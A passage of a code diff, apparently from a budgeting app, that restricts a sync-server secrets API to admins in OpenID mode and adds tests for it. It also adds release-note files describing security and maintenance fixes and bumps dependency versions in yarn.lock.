|
||||
details: 'Failed to validate authentication method',
|
||||
reason: 'not-admin',
|
||||
details: 'You have to be admin to set secrets',
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
const { name, value } = req.body || {};
|
||||
|
||||
if (method === 'openid') {
|
||||
const canSaveSecrets = isAdmin(res.locals.user_id);
|
||||
|
||||
if (!canSaveSecrets) {
|
||||
res.status(403).send({
|
||||
status: 'error',
|
||||
reason: 'not-admin',
|
||||
details: 'You have to be admin to set secrets',
|
||||
});
|
||||
|
||||
return;
|
||||
}
|
||||
if (!(name in SecretName)) {
|
||||
res.status(400).send({
|
||||
status: 'error',
|
||||
reason: 'invalid-secret-name',
|
||||
details: 'Unknown secret name',
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
secretsService.set(name, value);
|
||||
@@ -51,9 +48,22 @@ app.post('/', async (req, res) => {
|
||||
});
|
||||
|
||||
app.get('/:name', async (req, res) => {
|
||||
if (!canManageSecrets(res.locals.user_id)) {
|
||||
res.status(403).send({
|
||||
status: 'error',
|
||||
reason: 'not-admin',
|
||||
details: 'You have to be admin to read secrets',
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
const name = req.params.name;
|
||||
const keyExists = secretsService.exists(name);
|
||||
if (keyExists) {
|
||||
if (!(name in SecretName)) {
|
||||
res.status(404).send('key not found');
|
||||
return;
|
||||
}
|
||||
|
||||
if (secretsService.exists(name)) {
|
||||
res.sendStatus(204);
|
||||
} else {
|
||||
res.status(404).send('key not found');
|
||||
|
||||
@@ -1,9 +1,19 @@
|
||||
import request from 'supertest';
|
||||
|
||||
import { getAccountDb } from './account-db';
|
||||
import { handlers as app } from './app-secrets';
|
||||
import { secretsService } from './services/secrets-service';
|
||||
import { SecretName, secretsService } from './services/secrets-service';
|
||||
|
||||
const enableOpenIdAuth = () => {
|
||||
const db = getAccountDb();
|
||||
db.mutate('DELETE FROM auth');
|
||||
db.mutate(
|
||||
"INSERT INTO auth (method, active, extra_data, display_name) VALUES ('openid', 1, '', 'OpenID')",
|
||||
);
|
||||
};
|
||||
|
||||
describe('secretsService', () => {
|
||||
const testSecretName = 'testSecret';
|
||||
const testSecretName = SecretName.simplefin_token;
|
||||
const testSecretValue = 'testValue';
|
||||
|
||||
it('should set a secret', () => {
|
||||
@@ -38,6 +48,10 @@ describe('secretsService', () => {
|
||||
});
|
||||
|
||||
describe('secrets api', () => {
|
||||
afterEach(() => {
|
||||
getAccountDb().mutate('DELETE FROM auth');
|
||||
});
|
||||
|
||||
it('returns 401 if the user is not authenticated', async () => {
|
||||
secretsService.set(testSecretName, testSecretValue);
|
||||
const res = await request(app).get(`/${testSecretName}`);
|
||||
@@ -52,7 +66,15 @@ describe('secretsService', () => {
|
||||
|
||||
it('returns 404 if secret does not exist', async () => {
|
||||
const res = await request(app)
|
||||
.get(`/thiskeydoesnotexist`)
|
||||
.get(`/${SecretName.gocardless_secretKey}`)
|
||||
.set('x-actual-token', 'valid-token');
|
||||
|
||||
expect(res.statusCode).toEqual(404);
|
||||
});
|
||||
|
||||
it('returns 404 for unknown secret names without revealing existence', async () => {
|
||||
const res = await request(app)
|
||||
.get('/thiskeydoesnotexist')
|
||||
.set('x-actual-token', 'valid-token');
|
||||
|
||||
expect(res.statusCode).toEqual(404);
|
||||
@@ -68,7 +90,6 @@ describe('secretsService', () => {
|
||||
});
|
||||
|
||||
it('returns 200 if secret was set', async () => {
|
||||
secretsService.set(testSecretName, testSecretValue);
|
||||
const res = await request(app)
|
||||
.post(`/`)
|
||||
.set('x-actual-token', 'valid-token')
|
||||
@@ -79,5 +100,71 @@ describe('secretsService', () => {
|
||||
status: 'ok',
|
||||
});
|
||||
});
|
||||
|
||||
it('POST returns 400 for unknown secret names', async () => {
|
||||
const res = await request(app)
|
||||
.post('/')
|
||||
.set('x-actual-token', 'valid-token')
|
||||
.send({ name: 'thiskeydoesnotexist', value: 'whatever' });
|
||||
|
||||
expect(res.statusCode).toEqual(400);
|
||||
expect(res.body).toEqual({
|
||||
status: 'error',
|
||||
reason: 'invalid-secret-name',
|
||||
details: 'Unknown secret name',
|
||||
});
|
||||
});
|
||||
|
||||
describe('when OpenID is the active auth method', () => {
|
||||
beforeEach(() => {
|
||||
enableOpenIdAuth();
|
||||
secretsService.set(testSecretName, testSecretValue);
|
||||
});
|
||||
|
||||
it('GET returns 403 for non-admin users', async () => {
|
||||
const res = await request(app)
|
||||
.get(`/${testSecretName}`)
|
||||
.set('x-actual-token', 'valid-token-user');
|
||||
|
||||
expect(res.statusCode).toEqual(403);
|
||||
expect(res.body).toEqual({
|
||||
status: 'error',
|
||||
reason: 'not-admin',
|
||||
details: 'You have to be admin to read secrets',
|
||||
});
|
||||
});
|
||||
|
||||
it('GET returns 204 for admin users when secret exists', async () => {
|
||||
const res = await request(app)
|
||||
.get(`/${testSecretName}`)
|
||||
.set('x-actual-token', 'valid-token-admin');
|
||||
|
||||
expect(res.statusCode).toEqual(204);
|
||||
});
|
||||
|
||||
it('POST returns 403 for non-admin users', async () => {
|
||||
const res = await request(app)
|
||||
.post('/')
|
||||
.set('x-actual-token', 'valid-token-user')
|
||||
.send({ name: testSecretName, value: testSecretValue });
|
||||
|
||||
expect(res.statusCode).toEqual(403);
|
||||
expect(res.body).toEqual({
|
||||
status: 'error',
|
||||
reason: 'not-admin',
|
||||
details: 'You have to be admin to set secrets',
|
||||
});
|
||||
});
|
||||
|
||||
it('POST returns 200 for admin users', async () => {
|
||||
const res = await request(app)
|
||||
.post('/')
|
||||
.set('x-actual-token', 'valid-token-admin')
|
||||
.send({ name: testSecretName, value: 'newValue' });
|
||||
|
||||
expect(res.statusCode).toEqual(200);
|
||||
expect(res.body).toEqual({ status: 'ok' });
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
6
upcoming-release-notes/7832.md
Normal file
@@ -0,0 +1,6 @@
|
||||
---
|
||||
category: Maintenance
|
||||
authors: [matt-fidd]
|
||||
---
|
||||
|
||||
Automation UI: various tweaks and fixes
|
||||
6
upcoming-release-notes/7850.md
Normal file
@@ -0,0 +1,6 @@
|
||||
---
|
||||
category: Bugfixes
|
||||
authors: [samaluk]
|
||||
---
|
||||
|
||||
Color the Balance Forecast line by zero-balance crossing.
|
||||
6
upcoming-release-notes/7851.md
Normal file
@@ -0,0 +1,6 @@
|
||||
---
|
||||
category: Maintenance
|
||||
authors: [MatissJanis]
|
||||
---
|
||||
|
||||
Convert built-in themes from TypeScript modules to plain CSS files.
|
||||
6
upcoming-release-notes/7852.md
Normal file
@@ -0,0 +1,6 @@
|
||||
---
|
||||
category: Maintenance
|
||||
authors: [MatissJanis]
|
||||
---
|
||||
|
||||
Refactor workflows to utilize native `gh` CLI commands instead of third-party GitHub Actions.
|
||||
6
upcoming-release-notes/7856.md
Normal file
@@ -0,0 +1,6 @@
|
||||
---
|
||||
category: Maintenance
|
||||
authors: [MatissJanis]
|
||||
---
|
||||
|
||||
Reference dedicated environments for workflows that consume secrets, satisfying zizmor's `secrets-without-environment` audit.
|
||||
6
upcoming-release-notes/7858.md
Normal file
@@ -0,0 +1,6 @@
|
||||
---
|
||||
category: Maintenance
|
||||
authors: [MatissJanis]
|
||||
---
|
||||
|
||||
Fix template injection in setup action's Lage cache step.
|
||||
6
upcoming-release-notes/7859.md
Normal file
@@ -0,0 +1,6 @@
|
||||
---
|
||||
category: Bugfixes
|
||||
authors: [MatissJanis]
|
||||
---
|
||||
|
||||
Prevent exported CSV files from being interpreted as spreadsheet formulas when opened in Excel, LibreOffice Calc, or Google Sheets.
|
||||
6
upcoming-release-notes/7860.md
Normal file
@@ -0,0 +1,6 @@
|
||||
---
|
||||
category: Maintenance
|
||||
authors: [MatissJanis]
|
||||
---
|
||||
|
||||
Upgrade `vite-plugin-node-polyfills` to 0.27.0.
|
||||
6
upcoming-release-notes/7862.md
Normal file
@@ -0,0 +1,6 @@
|
||||
---
|
||||
category: Bugfixes
|
||||
authors: [MatissJanis]
|
||||
---
|
||||
|
||||
Restrict the sync-server secrets API to admins in OpenID mode so non-admin users can no longer enumerate configured bank-sync integrations.
|
||||
22
yarn.lock
@@ -148,7 +148,7 @@ __metadata:
|
||||
util: "npm:^0.12.5"
|
||||
uuid: "npm:^14.0.0"
|
||||
vite: "npm:^8.0.5"
|
||||
vite-plugin-node-polyfills: "npm:^0.26.0"
|
||||
vite-plugin-node-polyfills: "npm:^0.27.0"
|
||||
vite-plugin-peggy-loader: "npm:^2.0.1"
|
||||
vitest: "npm:^4.1.2"
|
||||
xml2js: "npm:^0.6.2"
|
||||
@@ -19650,9 +19650,9 @@ __metadata:
|
||||
linkType: hard
|
||||
|
||||
"lodash-es@npm:^4.17.21":
|
||||
version: 4.17.21
|
||||
resolution: "lodash-es@npm:4.17.21"
|
||||
checksum: 10/03f39878ea1e42b3199bd3f478150ab723f93cc8730ad86fec1f2804f4a07c6e30deaac73cad53a88e9c3db33348bb8ceeb274552390e7a75d7849021c02df43
|
||||
version: 4.18.1
|
||||
resolution: "lodash-es@npm:4.18.1"
|
||||
checksum: 10/8bfad225ef09ef42b04283cdaf7830efcc2ba29ae41b56501c74422155ee1ccaa1f0f6e8319def3451a1fe54dec501c8e4bee622bae2b2d98ac993731e0a5cce
|
||||
languageName: node
|
||||
linkType: hard
|
||||
|
||||
@@ -23873,11 +23873,11 @@ __metadata:
|
||||
linkType: hard
|
||||
|
||||
"qs@npm:^6.12.3, qs@npm:^6.14.0, qs@npm:^6.14.1":
|
||||
version: 6.14.1
|
||||
resolution: "qs@npm:6.14.1"
|
||||
version: 6.15.1
|
||||
resolution: "qs@npm:6.15.1"
|
||||
dependencies:
|
||||
side-channel: "npm:^1.1.0"
|
||||
checksum: 10/34b5ab00a910df432d55180ef39c1d1375e550f098b5ec153b41787f1a6a6d7e5f9495593c3b112b77dbc6709d0ae18e55b82847a4c2bbbb0de1e8ccbb1794c5
|
||||
checksum: 10/ec10b9957446b3f4a38000940f6374720b4e2985209b89df197066038c951472ea24cd98d6bc6df73a0cbec75bc056f638032e3fb447345017ff7e0f0a2693ac
|
||||
languageName: node
|
||||
linkType: hard
|
||||
|
||||
@@ -28441,15 +28441,15 @@ __metadata:
|
||||
languageName: node
|
||||
linkType: hard
|
||||
|
||||
"vite-plugin-node-polyfills@npm:^0.26.0":
|
||||
version: 0.26.0
|
||||
resolution: "vite-plugin-node-polyfills@npm:0.26.0"
|
||||
"vite-plugin-node-polyfills@npm:^0.27.0":
|
||||
version: 0.27.0
|
||||
resolution: "vite-plugin-node-polyfills@npm:0.27.0"
|
||||
dependencies:
|
||||
"@rollup/plugin-inject": "npm:^5.0.5"
|
||||
node-stdlib-browser: "npm:^1.3.1"
|
||||
peerDependencies:
|
||||
vite: ^2.0.0 || ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0
|
||||
checksum: 10/538076561ccfe16e6aa24f7fe9fdb86e0e23ac066fc42b4a6e8af491b2c5d7e3e4a5344694355015d684e2faa69f92e20978b1a1b944770e0d3b8acfea53cbe8
|
||||
checksum: 10/d3c795f144af2e6806948b6ed6e1842d56310bdcbfe17ca1efcbf6c297f2fd31994f4626cc138df39b2069d38b791960e1dd0f46efd8c7ca8d8c009697ab1721
|
||||
languageName: node
|
||||
linkType: hard
|
||||
|
||||
|
||||